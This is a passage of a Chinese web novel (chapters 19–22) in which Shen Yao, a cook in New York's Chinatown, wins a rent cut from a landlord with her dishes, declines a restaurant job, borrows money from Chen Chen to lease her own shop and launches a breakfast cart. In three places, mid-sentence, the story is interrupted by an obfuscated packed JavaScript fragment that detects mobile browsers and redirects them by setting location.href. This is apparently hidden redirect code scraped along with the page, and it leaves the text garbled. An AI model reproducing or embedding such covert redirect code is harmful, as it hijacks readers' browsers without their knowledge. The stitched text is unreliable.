露比“嗯”了一声，解释道：“是啊，这里现在算是凶宅，凶宅的价值普遍低于普通住宅，现在的情况，应该六千美刀就能租下三个月。” “我的天，这也太便宜了！” 一听六千美刀就能租下来，沈瑶不禁惊讶道。 露比：？？？ 突然想起这里刚发生的惨案，沈瑶赶紧双手合十，向店面连连鞠躬表示道歉：“对不起对不起，我真的无意冒犯。” 六千美刀是很便宜，但冷静下来后，她也清楚地知道，即使是六千美刀，对她来说也是一笔无法支付的费用。 可…… 此时此刻，她离曾经的梦想真的很近，很近很近。 19. 第 19 章 上午十一点，唐人街的一家中药店迎来了它真正的“主人”。 翻着手里的那本账簿，男人语气冷淡道：“我来收这个月的房租。” 中药店的店主名叫杨南山，是六十年代举家移民到这里的华裔。 这家中药店他开了有二十年，在店铺里呆得时间远比房东要久得多。 摘下鼻梁上的眼镜，杨南山赶紧招呼着店里的帮手去倒一杯茶，同时拉来一张椅子客客气气地请他坐下休息。 瞥了一眼他脸上那讨好的笑，男人随手把账簿丢在桌子上：“不是吧，又要拖？你自己看看这条街的租户，哪个人像你一样，次次都要拖我的房租？” “是是是，是我不好。” 杨南山不敢反驳，只能苦笑着附和他，“下个月，主要是有些客人买药的尾款没有结，你再等我一个月，下个月后我一定把钱给你送去。” “什么？下个月？”男人提高了音调，刚接过端来的菊花茶就重重地磕在了桌子上，“杨，你在跟我开玩笑吗？拖十天半个月还不行，你直接拖我一个月？！” 男人叫郭云龙，是唐人街区里拥有房产最多的房东之一。 这一条街，啊不，是大半条街的商铺用的都是他家的房子。 郭云龙的祖辈是来纽约最早的那一批华人，尽管他没什么赚钱的本事，但这些商铺的租金足够养活他一辈子。 杨南山的中药店是街上开的时间最长的老店之一，他并不担心杨南山会退租，但想要拖延租金，总不能只靠一杯热茶、几句好话就把他打发了吧？ “你别生气，气坏了身子可就不好了。” 杨南山一边说一边走去柜台，从里面拿出一沓绿票子，虽然心有不舍，但还是赔着笑脸交到了他的手上，“你看，这样可以吗？” 郭云龙抬了下眉尾，眼里的怒气减少大半，可随即目光又落在了墙边的那一排药酒上，问：“我记得之前你泡的有三鞭酒，酒呢？” 杨南山：…… 以为把酒藏在家里他就会忘了这茬，没想到他一直惦记着。 “在家放着。” 郭云龙悠闲地翘起了二郎腿，“那还等什么？赶紧回家给我装一瓶啊。” 郭云龙是懂得享受的，从小就过着优渥的生活，什么是好东西他最清楚。 所以想要打发像他这样的“齐天大圣”，就必须拿出“定海神针”。 没办法，为了让他在租金上松松口，杨南山直接穿上衣服回家一趟。 郭云龙也没打算走，像中药店的主人一样，拿起桌子上电视遥控器换了个自己想看的频道。 还没到十分钟，中药店的玻璃门就从外面被推开了。 不是杨南山回来了，而是一个瞧着脸生的女人。 “店主不在。” 不等沈瑶开口，郭云龙就说道。 走到郭云龙跟前，把手里的包裹放下后，沈瑶礼貌地向他鞠了个躬：“郭先生，我是来找您的。” “哦？” 郭云龙本以为是自己之前惹的风流债，上下打量了她一番后，又觉得她不是自己喜欢的那类开放性感的女人，便问：“有什么事？” “我是想问问那家叫‘梦网’的礼品店租金，”沈瑶从上衣口袋里拿出一张招租启示，“是这样的，上面写的租金是……” “你这里面装得是什么？” 不等沈瑶把话说完，郭云龙就用遥控器碰了下她提来的那一兜包裹。 外面包了两层袋子，里面还用锡纸包着保温，可即使隔着这么多层，从里面渗出来的香味还是没能瞒得住郭云龙的鼻子。 他好像闻到了烤羊肉的味道？还有一股酸辣的香味，不对不对，是又酸又甜的浇汁！ 正是中午吃饭的时间，正好他也有点饿了。 郭云龙吃过不少美食，光从他这一米七五、二百斤的身材就能看出来，身上的每一块肉都是用钱换来的。 但即使是见过些世面，也会被她带来的不起眼的包裹勾得直流口水。 沈瑶本想着等会再说，既然他主动发问，只好提前把封口的袋子解开：“这是我做的几道小菜，听说您热爱美食，所以特地拿来给您品尝。” 那句老话说得好。 要想绑住一个男人的心，首先要绑住他的胃。 虽然放在这里有点不太恰当，可要是能用美食把他哄好，那租金的事儿不就好商量了嘛？ 打开最上面的餐盒盖子，一股鲜香的麻辣味道瞬间涌了出来，把屋里苦涩的中药味都压了下去。 “阿嚏！阿嚏！” 辣椒的味道熏得他打了好几个喷嚏，可还是没能让他把口水给咽回去。 水煮鱼片？ 这算不上是什么新鲜的菜式，可不管是从饱和度十足的颜色，还是这股丰郁的香味，都是他从没在其他中餐厅里吃到过的。 热辣的红油里飘着几根辣椒、几簇花椒，看着就知道一定是最刺激的麻辣滋味。 “嗯？” 叉起一片鱼肉放进嘴里，这味道让郭云龙不禁惊讶地睁大了眼。 鲜红的汤色看起来的味道应该是巨麻、巨辣才对，可入口后却没有想象中那么刺激，更多的其实是辣椒和花椒被热油激发后的辛香。 有麻有辣，但这股麻辣味却没有遮盖住鱼肉本身的味道，反而将鱼肉衬得更加鲜美。 鱼肉是提前片好挑过刺的，完全不用担心扎嘴，滑嫩的鱼片在嘴里时好像还是活着的，左滑右滑，把吸满的汤汁挥洒在口腔的每一个角落。 等到把鱼肉嚼碎了咽下，辣味和麻味才会慢慢再透出来。 不止有麻和辣，还有一些香辛料的味道，每一种都被调和得很好，没有抢了鱼肉的主角位置。 “嗯，手艺还行。”郭云龙平淡地点点头。 他平日从不夸人，能得到他的点头肯定，已经很不容易了。 沈瑶也能看出来，他一定很喜欢自己做得这一道水煮鱼片，只是表面上故作矜持罢了。否则也不会在鱼片掉在桌子上的时候，急忙用手捡起来塞回到嘴里，更不会急着翻袋子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590905|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看里面有没有装什么搭配着吃的主食。 沈瑶帮着把下面装着主食的餐盒打开，“这是手抓羊肉焖饭。” 羊肉？ 看来她是提前打听过的，知道自己最爱吃羊肉。 沈瑶用的是羊排，炖了两个小时的羊肉十分软烂，用叉子轻轻一划就能从骨头上扒下来，再加上胡萝卜和洋葱配着米饭再次焖上半个小时……油脂的香气已经彻底被米饭所吸收，淡黄色的米饭每一颗都散发着浓浓的肉香。 配上那一盒水煮鱼片一起吃，简直是绝配！ 郭云龙的嘴被米饭和肉塞得满满当当，可还是迫不及待地揭开剩下的那两个餐盒：清炒时蔬，西湖牛肉羹。 同样是他之前吃过的菜，可天晓得沈瑶在做菜的时候往里面放了什么，每一道菜都和他在别处吃到的不一样。 包括那一碟平平无奇的小青菜，沈瑶做出来的就是要比别家做的更绿、更嫩，味道也更解腻爽口。 “行，比那个谁家做的好。” “就是，嗝，就是还差了点意思，要是再，嗯……再做得那个啥一点就好了。” 郭云龙就是这样一个嘴比石头硬的人，哪怕沈瑶带来的饭菜，可以算得上他这辈子吃过最好的中餐了，他也不会表露出对她的赞赏，反而还要在鸡蛋里挑出点骨头。 短短十分钟，这几盒“味道还好”的饭菜就被他吃干净了。 打了一个巨响的嗝后，郭云龙满意地靠在椅背上，用小手指剔起了牙：“对了，你找我是要说什么？” “房租，”沈瑶再次把那张招租启示拿给他看，“我想租这家店，但是钱不太够，我想能不……” “七千。” 郭云龙懒得听她前面的铺垫，爽快地给了她一个数：“你是要开餐厅吗？看在你手艺还凑合的份儿上，我可以给你降到一个季度七千。” 招租启示上的金额是八千五，因为就算店里死了人，他也不会降得太多，更不会降价太久。 顶多一年，价格就会回调回去，变成八千五一个月（七千是过世店主转租出去的价格）。 沈瑶没想到他会这么容易给自己降价。 因为她一开始想的，只是商量看能不能每个月分别支付租金而已。 降价一千五百美刀对她来说当然是巨大的好消息，但她还是想为自己的请求再努力一下。 “我可以按月租吗？每个月付一次租金。” “不可以。” “我保证，我一定不会拖欠房租。” “不可以。” “你可以随时来店里吃饭，一分钱都不会收，想带谁来吃也没问题。” “不可以。” 翻动着手里的那一册账簿，郭云龙虽然被沈瑶的这一顿饭哄得开心，但他并没有做出太大的妥协，“沈小姐，你的手艺已经让我做出了让步，但我是一个商人。” 写下一串电话号码后，郭云龙把那一页撕下来交到她手里：“这个店我会为你暂留一周，回去再考虑一下吧，想清楚了再联系我。” 20. 第 20 章 十、二十、三十、四十…… 一张张地数着那一沓钞票，最后停在两千四百六十五的数字，让沈瑶不禁失望地叹了一口气。 一个月能攒下两千多已经远远高出她的期望，但想要租下那一间店面，还差了很多。 现在只剩下最后三天的时间，她该去哪补齐这四千多美刀？ 倒不是说现在一定要开这个店，只是现在这个机会实在难得，要是错过了，不知道什么时候才能再碰到这么便宜的店面。 “算我一份。” 沈瑶准备把钱收起来的时候，露比从口袋里掏出几张钞票，和她的那一沓钱放在了一起。 五百美刀，不算多，却是她的一点心意。 沈瑶：“这是你辛辛苦苦攒的学费，给我了，你怎么办？” 露比笑着耸耸肩，“我的学费还差得远呢，反正这些都是靠你的卤味赚来的，还是先拿去开店吧。” 比起一学期至少上万的学费和生活费，她这区区的几百刀还差得远呢。 既然自己注定没办法这么快地实现目标，不如先帮着沈瑶实现她的梦想，毕竟她只差了几千美刀而已，稍微踮起脚尖，说不定就碰到了。 当然，她愿意支持沈瑶，也不止是因为她们是朋友，更因为她看到了沈瑶身上的潜力。 她的手艺这么好，真要能有一家自己的餐厅，将来一定可以爆火！ “还差多少？” 沈瑶：“四千美刀。” 四千，这对于曾经的露比来说，不过是一点微不足道的零花钱而已，可现在听起来……却好像有一百万那么多。 可惜现在她的名字被拉进了银行黑名单，沈瑶也没有签证，否则还能试一试去银行贷款。 唉！ 原本露比是想为她分忧的，现在变成两个人一起发愁了。 “沈？” 琼恩敲了敲仓库的门，将头从外面探了进来，“卡尔来了。” “woo~” 生活也不总是坏消息，听到卡尔来了，露比不禁冲沈瑶轻挑了一下眉，“他最近好像经常来吃饭，是为了谁呢？好难猜啊。” “别想太多了，他只是为了吃饭而已。” 虽然不知道卡尔的真实想法，但起码现在，沈瑶并没有跟男人谈恋爱的念头。 比起和男人手拉着手，吃饭、逛街、看电影，她还是更想在厨房里跟锅碗瓢盆打交道。 琼恩指着外面，又说：“他还带了一个人来，看起来有点来头。” “好，我马上来。” 把钱仔细收起来后，两人便从仓库出来了。 卡尔坐在吧台的位置，旁边是一个西装革履的男人。 男人的头发喷了一层发胶，脚下那一双皮鞋被擦得锃亮，手上的腕表也价值不菲，就像琼恩说的那样，看来确实是个有话语权的人物。 看到沈瑶，正在同男人聊天的卡尔，眼神里不禁多了几分光亮。 “沈，跟你介绍一下，这是我的朋友大卫。” 沈瑶礼貌地点点头，帮他把面前那杯啤酒续满，“你好，很高兴认识你。” 大卫也很客气地同她握了握手：“常听卡尔说你的厨艺不错，趁着今天有空，就来尝一尝你的菜。” 卡尔是沈瑶的常客。 虽然商场那边的装修工作结束了，卡尔的装修队接了别的工程，因为离得远，他没办法再继续订沈瑶做的盒饭，可只要在不忙的时候，他还是会特意来陈记吃饭。 不过以前大多是他一个人，很少见他带朋友来。 既然特地来吃饭，自然要好好招待。 “想吃些什么？陈记的特色是炖汤。”沈瑶把店里的菜单递给他。 大卫在点了一个招牌的炖鸡汤后，又说：“可以加一些配菜吗？简单一点，是你做的就好。” 沈瑶欣然答应：“没问题。” 怕他们等太久，沈瑶就做了两道不费事的家常快手菜：酸辣土豆丝、木须肉，又从卤锅里捞了一些素菜和鸭货，凑够了两荤一素的菜色。 看得出来，大卫之前应该没有吃过地道的中餐。 盘子里的食材都是饭店里最常见的，可最后的成品却是他从来没有见过的，拿起叉子尝一尝味道，更是任何料理大厨都做不出的味道。 尤其是那一盘辣卤，看起来黑乎乎的让人提不起食欲，可尝过后才发现，这吸满了卤汁香气的鸭肉才是精髓，每一口的甜辣香麻都促使着味蕾不停分泌口水。 一开始他还是用叉子，后来觉得叉子不方便，索性就用手拿起鸭锁骨来嗦。 “我的天！卡尔，你真的没有骗人。” 咕咚咕咚地喝了几大口啤酒，大卫一边斯哈斯哈吸气，一边感叹道：“这味道确实从来没有尝过，她怎么能把鸭子的锁骨做得这么好吃？” 面对大卫的称赞，卡尔简直比听到他夸自己还要高兴，“这些只是最不值一提的小菜而已，你还没有吃过她做的鱼呢，那口感才是真的在舌尖上跳舞。” 用餐巾纸擦了擦手上的油，在亲自尝过沈瑶的手艺后，卡尔这才向她表明了自己的来意。 “沈小姐，我是缪斯餐厅的经理，请问你愿意来我们餐厅担任中餐厨师吗？” 沈瑶愣了一下，“中餐厨师？” 缪斯餐厅是开在布鲁克林的一家餐厅，虽说规模和等级比不上那些米其林星级餐厅，但生意也称得上火爆。 跟缪斯比起来，陈记每天的客流量顶多只有六分之一。 卡尔是在接缪斯餐厅的装修工作时认识了大卫，听说他们餐厅在招厨师，第一时间就想到了沈瑶。 她的手艺那么好，值得去一个更好的平台发展，而不是在一个不起眼的小餐馆里当服务生。 他跟大卫提起过沈瑶很多次，最后大卫才答应来试一下沈瑶的手艺。 大卫：“一个月三千美刀，每天工作六个小时，每个月有十天的休假，提供用餐补贴和住宿补贴，除此之外，还会有额外的绩效，升职以后工资也会跟着提高。” “合同是三年制的，三年内有六次晋升的机会，每次晋升可以提高百分之十五的薪酬。” 一个月三千？以后还能升职？ 这样差不多四个月就能攒够办签证的钱，以后要是再提高几次工资，那自己的日子也会过得更加滋润惬意，说不定还能买房买车过上和以前差不多的生活。 沈瑶心动了。 “沈小姐的厨艺这么好，我相信，如果你能来我们缪斯的话，以后一定会有更好地发展。” “谢谢，”沈瑶把他面前的盘子收了起来，“但是……谢谢。” 沈瑶不想再去给别人当厨师了。 上一世，她已经在别人的厨房里呆得时间够久了，哪怕她坐到了厨神的位置，拥有了想要的名和利，但她的名誉始终要冠上其他餐厅的名字。 既然老天爷给了她一次重新来过的机会，这一次，她想拥有一间属于自己的厨房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601835|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 重新给他拿来一些餐后的甜点，沈瑶婉拒了他的好意：“你开出的条件确实很诱人，但是我有自己的打算，所以，谢谢你的好意。” 卡尔没想到她会拒绝。 把她拉到一边，卡尔不解地问道：“沈，这次机会很难得，你的手艺这么好，总不能一直在这里当服务员吧？” “谢谢你肯帮我，不过我有自己的计划，”沈瑶回答说，“就像你说的，我不会一辈子当服务员，但是我也不想再给别人当厨师了，如果有机会的话，我想开一家属于自己的餐厅。” 卡尔不理解她为什么要放弃这么好的机会，在他看来，自己当老板未必比给别人打工要好。 不过，既然她这么决定，他还是选择尊重她…… “沈，你还缺多少？” 晚上下班的时候，琼恩问她道，“等会发了工资，我可以借给你。” 清理着桶里的拖把，沈瑶微笑着回绝了他的好意：“不用了，我不打算租了。” 琼恩的工资不多，每个月都是赚多少花多少，就算他肯借，也拿不出四千美刀那么多。 只剩三天了，她没办法这么快借够那么多钱。 或许现在不是开店的好时机，算了，还是等以后再说吧。 “香叶十片，桂皮指甲盖大小，丁香五粒……”厨房里，陈晨一边调卤汁一边自言自语道。 “丁香是两粒，”沈瑶提醒他道，“你这个比例，丁香要用两粒。” 这段时间，陈晨一直在学着做卤味。 没办法，店里的卤味卖得太好了。 担心一次性做太多味道不对会浪费，所以就只按照沈瑶教得配方自己做一点。 沈瑶没有吝啬自己的卤料配方，而是把每一种的比例和用量都告诉了陈晨。 俗话说教会徒弟、饿死师傅，尤其是卤料的配方，许多老师傅都有独门的秘卤。 但沈瑶觉得他们既然都是在西方讨饭吃的华国人，那就是一家人。 这里没尝过卤味的食客这么多，就算教会陈晨，他也不会抢了自己的饭碗。 卤水烧开了，简单用筷子尝了尝味……同样的比例，尽管还是有些不同，但味道已经和沈瑶做出来的有七八分像了。 可以可以。 “陈，快点发工资吧，我要回家了。” “是啊，就快十二点了。” 今天是发月工资的日子，店里的长期工都等不及要领自己的工资了。 “知道了，马上来。” 满意地盖上锅盖，陈晨擦了擦手从厨房里出来。 按照账本上的数目，陈晨给每个人都发了工资，沈瑶也拿到了卖卤味的额外五百美刀。 等等……里面怎么还夹了一张支票？ 个，十，百，千…… 五千！整整五千美刀？！ 拿着手里的支票，沈瑶惊诧地睁大了眼：“陈？这是？” 陈晨面无表情地回答说：“你不是不想给人打工了吗？拿着吧，算我借你的，至于是去付租金开饭店还是雇个演员喊你老板，你自己看着办。” 沈瑶：！！！ 太阳打西边出来了，一毛不拔的资本家竟然肯主动借钱给自己。 “谢谢你，陈，你真的太棒了！” 紧紧攥着那张支票，沈瑶激动得眼睛有些湿润。 有了这笔钱，她就可以租下那家店面。 她曾经的梦想，终于可以实现了！ 21. 第 21 章 租下店面的时候，因为没有签证，沈瑶不能第一时间跟郭云龙签订合同。 不过郭云龙也不是那么不近人情，沈瑶用一盘辣子鸡和一屉菜蟒就让他松了口，不仅给了她两个月的时间补全手续，还帮她办了开餐厅需要的各种许可证。 好歹也是在唐人街混迹了几十年的地头蛇，郭云龙的办事效率就是快，不到一周就办好了所有手续。 可店里的装修才刚到起步阶段。 店面原本是家手工品店，不仅墙面需要重新粉刷，还要单独隔出一个厨房，电路水管也都要跟着一起改。 这可是个大工程，不是几天就能搞定的。 租下这家店面后，沈瑶就只剩下最后一千多美刀，用来请装修队肯定是不够的，还好卡尔主动提出来带自己的装修队来帮忙，还说可以暂时不付定金，等餐厅正式营业后再一起结。 装修要钱、租金也要钱，平均每天一睁开眼，沈瑶哪怕什么事都不干，都要支出一百多美刀的费用。 她第一次真切地体会到了什么叫做：时间就是金钱。 还好，陈晨同意她继续在店里当服务生，这才能多一些收入来应付日常开支。 不过也不能只靠服务员的工资，她必须还要另想别的方法。 咚！咚！ 仓库里，锤子敲击的声音一下接着一下。 还好下午店里没什么客人，否则陈晨是绝对不允许他们发出这种噪音的。 “是这样吗？” “对，把它们拼在一起就行。” “你先试试看，不漏的话应该没问题。” “好。” 乔伊他们帮着沈瑶忙活好几天了。 昨天做了一口三十多寸的平底锅，前天又用耐火土和砖块砌了一只火炉，大前天还借来一部切割机把小推车改造了一番。 炉子在外面晾了两天，终于等到它晾干了，和那一张平底锅拼装在一起后装进小推车上，乍一看，像极了一只倒着的烤披萨用的火炉。 不是说要开一家中餐馆？这又是炉子、又是铁板的，难不成改卖披萨了？ 站在仓库门口，陈晨不解道：“要做披萨的话，这炉子有点小了吧。” “我不卖披萨，”沈瑶满意地来回移动着小推车，“我要卖早餐。” 这只烤炉是她按照记忆里做的。 小时候，爸妈就是用这样一只上煎下烤的炉子，供她读书，打开了她对美食认知的大门。 将炉子从仓库里推到外面，沈瑶试着往炉子里面放了一些炭。 新炉子，要用火多烧一会才会用得顺手。 趁着烧火的这会功夫，沈瑶把装着食材的瓶瓶罐罐都放在了小推车的操作台上，同时又把厨房里醒发的面团拿了出来。 她先把面团分成大小差不多的面剂，在擀开的同时，又往其中抹一些油和少许的五香粉，最后再像卷纸筒那样，一点一点地卷起来…… 正常的面团揉好后应该是光滑的，有着小麦特有的白色。 沈瑶的面团却是淡黄色的，表面泛着一层油光。 面食讲究清淡，尤其是早餐。 用这样的面团做成饼，想想就知道味道会有多油腻，怎么可能会有人吃？ 光是在揉面的时候加油还不够，等炉子里的炭烧好后，沈瑶还在炉子上面的平底锅中倒了不少油。 “沈，油会不会放得太多了？”露比挠了挠额头，好心提醒道。 沈瑶扇了扇炉子里的火，解释说：“油不多的话，饼就不酥了。” 熟练地把面剂擀成圆形，等到油的温度差不多后，便将面饼摊开在了锅的中间。 呲呲……！ 面饼下锅后，边缘很快被油炸成了焦黄色，随着面饼变熟，中间的部分逐渐隆起了一个空心的小鼓包。 碗里打入一个鸡蛋，再放一点葱花和味精，快速打散。 等到面饼的小鼓包快要被撑破的时候，沈瑶主动用筷子戳出一个口，然后把碗里的蛋液倒了进去。 将面饼翻了个面，再次煎了几十秒后便用夹子把面饼夹起来，放进了平底锅下面的炉子里。 直到这里，他们都没感觉到沈瑶做的这种“油腻”早餐有什么好吃的。 炸出来面饼？那还不如吃炸鸡呢。 可当两分钟后，沈瑶把烤好的饼从炉子里捞出来时…… 簌！ 炸过的面饼经过高温烘烤，散掉了大部分的油，一点不会油腻，金黄的饼皮上多了许多烤出来的焦脆，夹子稍稍用力都能听到酥皮开裂时的声音。 用夹子在饼中间轻轻一敲，一股裹挟着蛋香和葱香的味道瞬间炸开，化成一团浓浓的白雾，和小麦炙烤后的香气完美地融合在了一起。 刷一层酱料，再放几片生菜、午餐肉和咸菜丁…… 拿出一张油纸将饼包好，沈瑶向他们问道：“谁来帮我试试味道？” “我！” 话音未落，众人就异口同声地凑了过来。 要说动作快，那谁都比不上陈晨。 沈瑶还没说给谁呢，他就已经把饼接过来拿在手里了。 哦不，是抢，因为他用的是两只手，而且表情比黑色星期五那天去商场抢购更加急不可耐。 看着他张大了嘴巴一口咬下去，所有人都跟着咽了咽口水。 咔嚓！ 刚出锅的鸡蛋灌饼表面很酥，一口下去，掉了不少焦脆的渣。 先炸后烤的饼皮外焦里嫩，金黄中带有几粒的翠绿蛋液完美地与饼皮融为一体，形成了完美的蜂窝状。 绵韧的饼皮再搭配上爽口的生菜，丰富的口感和味道让每一次咀嚼都成了一次享受。 嘴里的那一口还没咽下去，陈晨又迫不及待地咬下了第二口，分明他的嘴巴也不算大，可这么两口下去，直接把饼吃掉了一半。 “好吃，像是面食版的炸鸡，”陈晨嘴里被那两口饼塞得鼓鼓囊囊，说话时，都听不清他说了什么，“不对，味道比炸鸡的味道更丰富！” 没有人会想一大早就吃油腻的炸鸡，可要换成这种表面酥脆、内里绵韧的鸡蛋灌饼，再配上一碗麦片粥……他感觉自己能一口气吃三张！ 沈瑶好久没有做鸡蛋灌饼了，见陈晨的评价不错，这才松了一口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611894|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 早餐是最不挑地方的，既然店面现在还在装修没办法营业，正好可以推着早餐车去街上卖早餐，也算是变相地“继承家业”了。 把刚做好的早餐车整理一番后，沈瑶便把车推回到了自己的店，想着明天一早就出摊卖早点。 店里，忙了一上午的几个人休息，卡尔则在有模有样地教隔壁店主的儿子怎么粉刷。 “要像这样刮一下，就会变得平整了。” “是这样吗？” “嘿，你很有天赋，真酷！” 隔壁是一家陶艺店，沈瑶用来做烤炉的耐火土就是从他家买来的。 店主的儿子是一个上小学的男孩，今年十岁了，中文名字叫赵杰，但他父母还是经常叫他乔治。 乔治跟卡尔的关系处得不错，卡尔不会因为他是小孩子就疲于应付，反而每次他来的时候都会陪他玩一会。 倒是沈瑶，乔治每次跟沈瑶接触都会显得很拘谨，好像她才是那个可怕的大人。 沈瑶也不知道原因，分明从前自己可是很招小孩子喜欢的。 不过乔治的母亲，也就是陶艺店的店主跟她关系不错，经常会跟她闲聊几句。 “乔治，你好啊~” 沈瑶热情地同乔治打了个招呼。 刚才还和卡尔聊得热火朝天的乔治，脸上的笑容稍稍降低了一些温度，“你好。” 为了拉近和乔治的关系，沈瑶这次是有备而来。 打开手里的牛皮纸袋，沈瑶从里面抓出了一把小麻花递给他：“尝尝看？” 孩子最好哄了，只要给一把好吃的零食，应该就没太大的问题。 况且这还是来自祖国的零食，是在纽约买不到的味道，小孩子最喜欢新鲜感了，只要尝过麻花的味道，不怕他会不喜欢。 “谢谢。” 乔治礼貌地点点头，不过他没有全部接过，只是伸手从中拿了一根。 沈瑶没再打扰他们聊天，而是来到了厨房的位置，开始和其他人沟通着装修的进度。 果然，沈瑶一离开，乔治立刻就又露出了笑容。 “我感觉盖房子很厉害，你们都很厉害。” “你也很厉害，如果你真的喜欢，以后也可以学这些。” “你可以再教教我怎么弄水平线吗？” “当然可以，你看，我们要先这样……” 两人又玩了一会后，乔治的妈妈斯黛拉从隔壁过来了。 “乔治，到看书的时间了。” 乔治虽然有些意犹未尽，但还是乖乖地站起身走了出去。 揉了揉乔治的头，斯黛拉在他的额上轻吻一下：“我们明天再来玩，好吗？” 乔治点点头，“好的。” “沈，那我们先回去了。”走之前，斯黛拉也向沈瑶打了个招呼。 沈瑶：“好。” 从厨房里出来，翻看着手里麦克给她的设计图，无意间，她瞥见桌子上放着一根小麻花。 小麻花还是完整的，没有一点被咬过和掰过的痕迹。 那是她刚才给乔治的那一根。 他竟然没有吃？ 22. 第 22 章 第一天出摊，沈瑶早上不到六点就开始起床收拾了。 生火、和面、洗菜、调料……光是出摊前的准备就用了快一个小时。 国外的情况不知道如何，但在国内的餐饮业，早餐是最赚钱，同时也是最累的。 还好有露比一起帮忙，这才稍稍分担了一些压力。 除了鸡蛋灌饼之外，沈瑶还准备卖一些热包子，毕竟不是所有食客都接受等待，像包子这样随拿随走的早点更符合上班族的需求。 “昨天我拿了一些麻花给乔治，他没吃。”揉着手里的面团，沈瑶提起了昨天发生的事。 用勺子搅着那一盆肉馅，露比淡淡地回答说：“很正常，斯黛拉平时给他准备的饭他也不会吃。” 这是露比发现的关于乔治的秘密。 每天早上七点半，乔治都会早早地背着书包，在马路对面的站牌下等校车来接。 而在校车来接他之前，乔治会把便当盒里的午餐倒进垃圾桶，然后跑去超市买一些三明治或者面包塞进便当盒里。 但他不是每天都扔，有时候还是会背着家里人准备的午餐去学校。 “为什么？”沈瑶又问。 露比耸耸肩：“或许因为是中餐？他好像不喜欢吃中餐。” 露比去看过几次倒进垃圾桶的饭菜，不是米饭炒菜、就是饺子面条，都是中餐的菜色，所以她猜测，乔治应该是不爱吃中餐。 把肉馅搅和均匀后，露比又抱了些炭出来，装进了小推车下面的袋子里：“这里的很多华裔都是这样，虽然有亚洲人的基因，但因为从小就在这里长大，所以饮食习惯已经变得完全不同了。” “当然，也有可能是因为斯黛拉做得不好吃，”露比安慰沈瑶道，“或许哪天等他尝过你的手艺，也会重新爱上中餐也不一定。” 弄清楚原因后，沈瑶也就不纠结了。 还以为他是讨厌自己，所以不接受自己的食物呢。 不是就好。 不过，口味这个事因人而异，既然他不爱吃中餐就算了，不用勉强。 炉子里炭火的温度慢慢稳定了下来，沈瑶把蒸笼依次放上去后便开始包包子。 将面剂擀成巴掌大小的圆形，再往中间填一勺满满的馅，在捏着褶子的同时用托着包子皮的手掌配合着顺时针转动。 随着褶子越来越多，包子的口也变得越来越小，最后形成了一个圆形的小漩涡，一只十八个褶的包子就这么完成了。 小心翼翼地把包子捧在手心里，露比不禁感叹道：“真漂亮，像是艺术品。” 沈瑶的手像是一台精密的机器，每一只包子都包得差不多大小，每一只包子上面都有十八个褶，甚至每一个褶皱的形状都大差不差。 要不是里面包的是肉馅，乍一看还以为是什么精美的面食甜品。 准备得差不多后，露比把昨天的价目表拿出来，挂在了小推车显眼的位置。 “你看，是乔治。” 挂好价目表后，露比向沈瑶示意道。 顺着露比指的方向看去，沈瑶看到了出现在街角的乔治。 他家住得不远，每天他都会自己走来车站等校车。 早上的温度很低，再加上他还没完全睡醒，走路时他恨不得把整个脑袋瓜都缩进围巾里，半睁半眯的眼睛看着也没有一点精神。 来到车站后，他先在椅子上坐了好一会，等到稍微清醒一点后，便慢悠悠地站起来，取下了肩上的书包。 就像露比说得那样，他从书包里拿出了便当盒，一股脑地把里面的饭倒进了旁边的垃圾桶里。 离得太远，沈瑶没看清便当盒里装了什么饭菜，只看到一团白花花的，大概率是米饭。 把便当盒清空后，乔治背起书包走进了超市，可出来的时候他的手里却没有面包和三明治。 很不巧，店主今天并没有准备面包，所以他只买到了一小袋饼干。 失望地叹了一口气，抬起头时，乔治一眼看到了沈瑶的店铺。 笼屉里的包子都蒸好了，每一次掀开盖子都会涌出一股裹挟着浓浓麦香的白雾。 他只看了一眼就把目光挪开了，生怕会被沈瑶发现。 重新坐回到长椅上，乔治把围巾围得更严实了一些，下意识地咽了咽口水：唉，早知道就不那么快把饭丢掉了…… 校车还有大概十分钟才会到，趁着校车来接他之前，他又闭上眼睛打起了盹。 “乔治？” 快要睡着的时候，忽然一个声音把他从迷糊中叫醒。 是沈瑶。 乔治紧张地赶紧从长椅上站起来，“沈，沈小姐。” “别紧张，我只是给你拿点包子。” 沈瑶把手里那只装着五只包子的塑料袋递给他。 考虑到他的自尊心，沈瑶找了个借口说：“天气冷，不爱吃的话，拿来暖暖手也可以。” 刚蒸好的包子散发着热气，在塑料袋里面氤氲着一层白雾。 乔治知道这是包子，可……沈瑶做的包子却和他之前见过的不太一样。 不仅每一只都包得很好看，有几只的包子皮甚至还被里面的汤汁染成了橘黄色，哪怕没有露馅，也能依稀闻到其中的肉馅香。 